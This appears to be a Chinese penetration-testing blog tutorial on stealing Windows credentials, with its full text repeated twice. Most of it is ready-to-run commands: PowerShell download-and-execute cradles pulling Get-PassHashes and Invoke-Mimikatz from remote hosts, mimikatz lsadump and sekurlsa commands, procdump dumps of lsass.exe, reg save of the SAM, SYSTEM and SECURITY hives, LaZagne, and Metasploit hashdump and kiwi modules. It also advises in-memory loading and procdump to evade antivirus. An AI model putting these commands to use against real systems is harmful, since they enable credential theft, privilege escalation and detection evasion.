文章目录
- Windows 加密简介
- Windows 哈希过程
- Windows 凭证获取
- 使用powershell脚本
- Pwddump7
- 使用猕猴桃(mimikatz)
- 常用命令
- 本地非交互式凭证获取
- 远程加载
- Procdump+猕猴桃
- 注册表+猕猴桃
- LaZagne
- msf
- msf中的猕猴桃
- CS(cobaltstrike)
- 总结
Windows 加密简介
在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支,Windows早期版本大多使用LAN Manager
(LM)方法进行哈希,但LM哈希密码最大长度为14,当前Windows主要采用NT LAN Manager
(NTLM)方法哈希。
Windows系统下hash密码格式:
用户名称:RID:LM-HASH值:NT-HASH值
Windows 哈希过程
- 用户输入密码
- 系统收到密码后将用户输入的密码计算成NTLM Hash
- 与sam数据库
C:\Windows\System32\config
(%SystemRoot%\system32\config\sam
)中该用户的哈希比对 - 匹配则登陆成功,不匹配则登陆失败
本地认证中用来处理用户输入密码的进程为lsass.exe
,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对。
根据上述过程,我们可以看出,最直接的获取Windows凭证方法,无非就是想办法从lsass.exe
进程中或从sam数据库中获取。
Windows 凭证获取
使用powershell脚本
powershell脚本: https://raw.githubusercontent/samratashok/nishang/master/Gather/Get-PassHashes.ps1
powershell IEX(new-object net.webclient).downloadstring('脚本地址');Get-PassHashes
Pwddump7
和上述脚本功能类似,Pwddump7下载地址(需要魔法): http://www.tarasco/security/pwdump_7/index.html,下载好后直接执行即可自动获取哈希。
使用猕猴桃(mimikatz)
相比上述两种方法,猕猴桃作为一个长期不断维护更新的开源软件,功能会强大很多
猕猴桃下载地址: https://github/gentilkiwi/mimikatz/releases
根据目标系统不同,我们可以使用64位(x64)或32位(win32)版本
我当前系统为64位Windows10,所以我这里使用的是x64版本的猕猴桃,如下图:
常用命令
我们输入::
即可查看猕猴桃的官方使用介绍,其中我们最常用的命令如下
命令 | 作用 |
---|---|
privilege::debug | |
token::elevate | 提升权限(这条命令会让我们冒充系统最高权限用户SYSTEM ) |
lsadump::sam 或lsadump::secrets 或lsadump::cache | 获取用户的密码凭证 |
sekurlsa::logonpasswords | 查看所有可用的凭证 |
猕猴桃中大部分报错提示都很可能是权限不足导致的,需要管理员权限的才能操作,如下报错
mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
本地非交互式凭证获取
mimikatz.exe "log 凭证信息.txt" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log 本地登录凭证.txt" "sekurlsa::logonpasswords" "exit"
远程加载
远程脚本下载地址: https://github/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
使用方法:
- 首先我们需要使用一个服务器(VPS)将脚本挂载到公网
- 在cmd中使用如下命令,将脚本加载到内存中直接执行。
powershell IEX (New-Object Net.WebClient).DownloadString('脚本下载地址');Invoke-Mimikatz -DumpCreds
Procdump+猕猴桃
因为猕猴桃功能强大而且单一,主要是针对密码凭证的,所以几乎所有的杀软都会将其进行拦截。这里我们常用Procdump配合猕猴桃来绕过杀软的检测。
Procdump下载地址: https://docs.microsoft/zh-cn/sysinternals/downloads/procdump
Procdump是微软官方推出的一款工具,主要用于桌面应用开发人员对应用的一些检测处理,我们使用Procdump实现的主要功能是将正在运行的程序生成静态文件,方便我们进行分析操作,我在上述介绍中提过,处理我们密码的程序是lsass.exe
,而这里我们也主要会将它进行静态的文件,.然后再将此文件从目标电脑中导出至本地。
32位系统导出命令: procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位系统导出命令: procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
将导出的静态lsass文件移动到本机中(最好将此文件和mimikatz.exe
放在同一个文件夹,如果不是同一个文件夹,需要在猕猴桃中cd到lsass所在的文件夹中)
# 载入静态的lsass文件
sekurlsa::minidump lsass.dmp
# 读取所有密码凭证信息(载入文件夹后使用sekurlsa::相关命令即可获取载入文件中保存的秘钥信息)
sekurlsa::logonPasswords
注册表+猕猴桃
我们的凭证信息除了会保存在lsass
程序中,还可能会保存在一些注册表中,我们同样可以将注册表保存后下载到本地进行分析,
system(本地数据库): reg save HKLM\SYSTEM system.hiv
sam(安全帐户管理器): reg save HKLM\SAM sam.hiv
security(哈希计算、验证): reg save HKLM\SECURITY security.hiv
我们主要可能会用到上述三种注册表
使用猕猴桃即可对注册表进行解密: lsadump::sam /system:system.hiv /sam:sam.hiv
除此之外,我们还可以使用python的一个脚本secretsdump
来对目标解密
LaZagne
这是一个使用Python写的密码凭证获取工具,LaZagne能获取到的密码范围很广泛,我当前主要会用到Windows模块,如果你想获取其他方向的密码也可以使用此模块!
LaZagne下载地址: https://github/AlessandroZ/LaZagne
lazagne.exe windows
msf
metasploit怎么用? 基础(auxiliary、exploits、meterpreter)篇 (゚益゚メ) 渗透测试
metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试
这里我们的msf已经连接到目标主机,并且是已管理员身份运行,首先我们先输入getsystem
进行提权
Windows中获取哈希值的主要有以下几种模块,这里我们选择使用use post/windows/gather/hashdump
(其中smart_hashdump
可以开启自动提取)
设定其set session 指定目标
目标后,我们即可运行获取目标秘钥。这里需要注意设置使用的是session
,不是sessions
msf中的猕猴桃
因为在Windows凭证方面,猕猴桃非常强大,msf也内置了猕猴桃模块,我们只需要在进入sessions
后输入load kiwi
即可加载猕猴桃模块。
我们可以使用help kiwi
查看msf中的猕猴桃使用方法
其中最常用的有creds_all
:获取所有收集到的凭证,lsa_dump_sam
:获取用户凭证,kiwi_cmd
:这个命令后面可以跟着猕猴桃原生命令进行执行!
CS(cobaltstrike)
之后我写了cs的相关博客后在来补充这一块!
hashdump
: 相当于猕猴桃的lsadump::sam
logonpasswords
: 相当于猕猴桃的sekurlsa::logonpasswords
总结
工具 | 特点 | 文件落地 |
---|---|---|
mimikatz | 功能强大 | 文件落地(可以内存加载) |
powershell | 使用方便 | 内存加载 |
Pwddump7 | 和powershell脚本类似 | 内存加载 |
Procdump | 微软官方工具 | 无落地 |
注册表 | 系统内置 | 无落地 |
LaZagne | 功能强大 | 文件落地 |
msf | 功能强大 | 文件落地 |
CS | 功能强大 | 文件落地. |
注: 一般内存加载相比于文件落地能更好的绕开杀软,无落地文件的话,可以完全避开杀软
文章目录
- Windows 加密简介
- Windows 哈希过程
- Windows 凭证获取
- 使用powershell脚本
- Pwddump7
- 使用猕猴桃(mimikatz)
- 常用命令
- 本地非交互式凭证获取
- 远程加载
- Procdump+猕猴桃
- 注册表+猕猴桃
- LaZagne
- msf
- msf中的猕猴桃
- CS(cobaltstrike)
- 总结
Windows 加密简介
在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支,Windows早期版本大多使用LAN Manager
(LM)方法进行哈希,但LM哈希密码最大长度为14,当前Windows主要采用NT LAN Manager
(NTLM)方法哈希。
Windows系统下hash密码格式:
用户名称:RID:LM-HASH值:NT-HASH值
Windows 哈希过程
- 用户输入密码
- 系统收到密码后将用户输入的密码计算成NTLM Hash
- 与sam数据库
C:\Windows\System32\config
(%SystemRoot%\system32\config\sam
)中该用户的哈希比对 - 匹配则登陆成功,不匹配则登陆失败
本地认证中用来处理用户输入密码的进程为lsass.exe
,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对。
根据上述过程,我们可以看出,最直接的获取Windows凭证方法,无非就是想办法从lsass.exe
进程中或从sam数据库中获取。
Windows 凭证获取
使用powershell脚本
powershell脚本: https://raw.githubusercontent/samratashok/nishang/master/Gather/Get-PassHashes.ps1
powershell IEX(new-object net.webclient).downloadstring('脚本地址');Get-PassHashes
Pwddump7
和上述脚本功能类似,Pwddump7下载地址(需要魔法): http://www.tarasco/security/pwdump_7/index.html,下载好后直接执行即可自动获取哈希。
使用猕猴桃(mimikatz)
相比上述两种方法,猕猴桃作为一个长期不断维护更新的开源软件,功能会强大很多
猕猴桃下载地址: https://github/gentilkiwi/mimikatz/releases
根据目标系统不同,我们可以使用64位(x64)或32位(win32)版本
我当前系统为64位Windows10,所以我这里使用的是x64版本的猕猴桃,如下图:
常用命令
我们输入::
即可查看猕猴桃的官方使用介绍,其中我们最常用的命令如下
命令 | 作用 |
---|---|
privilege::debug | |
token::elevate | 提升权限(这条命令会让我们冒充系统最高权限用户SYSTEM ) |
lsadump::sam 或lsadump::secrets 或lsadump::cache | 获取用户的密码凭证 |
sekurlsa::logonpasswords | 查看所有可用的凭证 |
猕猴桃中大部分报错提示都很可能是权限不足导致的,需要管理员权限的才能操作,如下报错
mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
本地非交互式凭证获取
mimikatz.exe "log 凭证信息.txt" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log 本地登录凭证.txt" "sekurlsa::logonpasswords" "exit"
远程加载
远程脚本下载地址: https://github/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
使用方法:
- 首先我们需要使用一个服务器(VPS)将脚本挂载到公网
- 在cmd中使用如下命令,将脚本加载到内存中直接执行。
powershell IEX (New-Object Net.WebClient).DownloadString('脚本下载地址');Invoke-Mimikatz -DumpCreds
Procdump+猕猴桃
因为猕猴桃功能强大而且单一,主要是针对密码凭证的,所以几乎所有的杀软都会将其进行拦截。这里我们常用Procdump配合猕猴桃来绕过杀软的检测。
Procdump下载地址: https://docs.microsoft/zh-cn/sysinternals/downloads/procdump
Procdump是微软官方推出的一款工具,主要用于桌面应用开发人员对应用的一些检测处理,我们使用Procdump实现的主要功能是将正在运行的程序生成静态文件,方便我们进行分析操作,我在上述介绍中提过,处理我们密码的程序是lsass.exe
,而这里我们也主要会将它进行静态的文件,.然后再将此文件从目标电脑中导出至本地。
32位系统导出命令: procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位系统导出命令: procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
将导出的静态lsass文件移动到本机中(最好将此文件和mimikatz.exe
放在同一个文件夹,如果不是同一个文件夹,需要在猕猴桃中cd到lsass所在的文件夹中)
# 载入静态的lsass文件
sekurlsa::minidump lsass.dmp
# 读取所有密码凭证信息(载入文件夹后使用sekurlsa::相关命令即可获取载入文件中保存的秘钥信息)
sekurlsa::logonPasswords
注册表+猕猴桃
我们的凭证信息除了会保存在lsass
程序中,还可能会保存在一些注册表中,我们同样可以将注册表保存后下载到本地进行分析,
system(本地数据库): reg save HKLM\SYSTEM system.hiv
sam(安全帐户管理器): reg save HKLM\SAM sam.hiv
security(哈希计算、验证): reg save HKLM\SECURITY security.hiv
我们主要可能会用到上述三种注册表
使用猕猴桃即可对注册表进行解密: lsadump::sam /system:system.hiv /sam:sam.hiv
除此之外,我们还可以使用python的一个脚本secretsdump
来对目标解密
LaZagne
这是一个使用Python写的密码凭证获取工具,LaZagne能获取到的密码范围很广泛,我当前主要会用到Windows模块,如果你想获取其他方向的密码也可以使用此模块!
LaZagne下载地址: https://github/AlessandroZ/LaZagne
lazagne.exe windows
msf
metasploit怎么用? 基础(auxiliary、exploits、meterpreter)篇 (゚益゚メ) 渗透测试
metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试
这里我们的msf已经连接到目标主机,并且是已管理员身份运行,首先我们先输入getsystem
进行提权
Windows中获取哈希值的主要有以下几种模块,这里我们选择使用use post/windows/gather/hashdump
(其中smart_hashdump
可以开启自动提取)
设定其set session 指定目标
目标后,我们即可运行获取目标秘钥。这里需要注意设置使用的是session
,不是sessions
msf中的猕猴桃
因为在Windows凭证方面,猕猴桃非常强大,msf也内置了猕猴桃模块,我们只需要在进入sessions
后输入load kiwi
即可加载猕猴桃模块。
我们可以使用help kiwi
查看msf中的猕猴桃使用方法
其中最常用的有creds_all
:获取所有收集到的凭证,lsa_dump_sam
:获取用户凭证,kiwi_cmd
:这个命令后面可以跟着猕猴桃原生命令进行执行!
CS(cobaltstrike)
之后我写了cs的相关博客后在来补充这一块!
hashdump
: 相当于猕猴桃的lsadump::sam
logonpasswords
: 相当于猕猴桃的sekurlsa::logonpasswords
总结
工具 | 特点 | 文件落地 |
---|---|---|
mimikatz | 功能强大 | 文件落地(可以内存加载) |
powershell | 使用方便 | 内存加载 |
Pwddump7 | 和powershell脚本类似 | 内存加载 |
Procdump | 微软官方工具 | 无落地 |
注册表 | 系统内置 | 无落地 |
LaZagne | 功能强大 | 文件落地 |
msf | 功能强大 | 文件落地 |
CS | 功能强大 | 文件落地. |
注: 一般内存加载相比于文件落地能更好的绕开杀软,无落地文件的话,可以完全避开杀软